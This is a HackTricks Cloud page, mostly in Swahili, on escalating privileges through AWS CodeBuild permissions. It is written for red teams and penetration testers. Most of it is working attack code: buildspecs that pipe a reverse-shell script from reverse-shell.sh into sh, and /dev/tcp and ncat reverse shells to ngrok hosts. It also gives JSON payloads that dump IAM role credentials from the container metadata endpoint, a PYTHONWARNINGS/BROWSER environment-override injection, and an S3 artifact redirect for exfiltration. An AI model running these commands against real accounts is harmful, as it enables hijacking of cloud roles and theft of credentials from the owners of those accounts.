AWS - Codebuild Privesc
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
codebuild
Pata maelezo zaidi katika:
codebuild:StartBuild | codebuild:StartBuildBatch
Kuwa na moja tu ya ruhusa hizi inatosha kuanzisha build kwa buildspec mpya na kuiba token ya iam role iliyoteuliwa kwa mradi:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Kumbuka: Tofauti kati ya amri hizi mbili ni kwamba:
StartBuildhuanzisha kazi moja ya build kwa kutumiabuildspec.ymlmaalum.StartBuildBatchinakuwezesha kuanzisha batch ya builds, na usanidi tata zaidi (kama kuendesha builds nyingi sambamba).
Athari Zinazowezekana: privesc ya moja kwa moja kwa AWS Codebuild roles zilizoambatishwa.
Override ya Env Var ya StartBuild
Hata kama huwezi kubadilisha project (UpdateProject) na huwezi ku-override buildspec, codebuild:StartBuild bado inaruhusu ku-override env vars wakati wa build kupitia:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
Ikiwa build inatumia environment variables kudhibiti tabia (destination buckets, feature flags, proxy settings, logging, n.k.), hii inaweza kutosha ili exfiltrate secrets ambazo build role inaweza kufikia au kupata code execution ndani ya build.
Mfano 1: Elekeza Artifact/Upload Destination ili Exfiltrate Secrets
Ikiwa build inachapisha artifact kwenye bucket/path inayodhibitiwa na env var (kwa mfano UPLOAD_BUCKET), i-override kwenda attacker-controlled bucket:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Mfano 2: Python Startup Injection kupitia PYTHONWARNINGS + BROWSER
Ikiwa build inafanya kazi python3 (kawaida katika buildspecs), wakati mwingine unaweza kupata code execution bila kugusa buildspec kwa kutumia zifuatazo:
PYTHONWARNINGS: Python inatatua uwanja wa category na ita-import dotted paths. Kuweka hiyo kuwa...:antigravity.x:...inalazimisha ku-import module ya stdlibantigravity.antigravity: huitawebbrowser.open(...).BROWSER: inasimamia kilewebbrowserinatekeleza. Kwa Linux ni:-separated. Kutumia#%skunafanya hoja ya URL kuwa shell comment.
Hii inaweza kutumika kuchapisha CodeBuild role credentials (kutoka http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) ndani ya CloudWatch logs, kisha kuzipata tena ikiwa una ruhusa za kusoma logs.
Inayopanuliwa: StartBuild JSON request kwa ajili ya PYTHONWARNINGS + BROWSER trick
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Mshambuliaji mwenye ruhusa za iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch angeweza kuinua mamlaka hadi jukumu lolote la IAM la codebuild kwa kuunda moja inayofanya kazi.
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Athari Inayoweza Kutokea: Direct privesc to any AWS Codebuild role.
Warning
Katika Codebuild container faili
/codebuild/output/tmp/env.shina env vars zote zinazohitajika kupata metadata credentials.
Faili hii ina env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIambayo ina URL path ya kufikia credentials. Itakuwa kama hii/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Ongeza hiyo kwenye URL
http://169.254.170.2/na utaweza dump the role credentials.
Zaidi ya hayo, pia ina env variable
ECS_CONTAINER_METADATA_URIambayo ina URL kamili ya kupata metadata info kuhusu container.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Kama ilivyo katika sehemu iliyopita, badala ya kuunda build project ukibadilisha, unaweza kueleza the IAM Role na kuiba the token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa role yoyote ya AWS Codebuild.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Kama katika sehemu iliyopita lakini bila ruhusa ya iam:PassRole, unaweza kutumia vibaya ruhusa hizi ili kubadilisha miradi ya Codebuild iliyopo na kupata ufikiaji wa role waliyopewa tayari.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Athari Inayowezekana: Privesc ya moja kwa moja kwa roles za AWS Codebuild zilizounganishwa.
SSM
Ikiwa una idhini za kutosha kuanzisha kikao cha ssm inawezekana kupata ndani ya Codebuild project inayojengwa.
Mradi wa Codebuild utahitaji kuwa na breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Na kisha:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
For more info check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Attacker anayeweza kuanzisha au kurestart build ya project maalum ya CodeBuild ambayo inahifadhi faili yake ya buildspec.yml kwenye S3 bucket ambayo attacker ana write access, anaweza kupata command execution katika mchakato wa CodeBuild.
Kumbuka: ongezeko la mamlaka linahusiana tu ikiwa CodeBuild worker ana role tofauti, ambayo, kwa matumaini, ina ruhusa zaidi kuliko ile ya attacker.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Unaweza kutumia kitu kama hiki buildspec kupata reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact: Direct privesc kwa role inayotumika na worker wa AWS CodeBuild ambayo kwa kawaida ina ruhusa za juu.
Warning
Kumbuka kwamba buildspec inaweza kutegemewa kuwa katika format ya zip, hivyo mshambuliaji atalazimika kupakua, unzip, kubadilisha
buildspec.ymlkutoka kwenye root directory, zip tena na kupakia
Maelezo zaidi yanaweza kupatikana hapa.
Potential Impact: Direct privesc kwa AWS Codebuild roles zilizoambatanishwa.
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

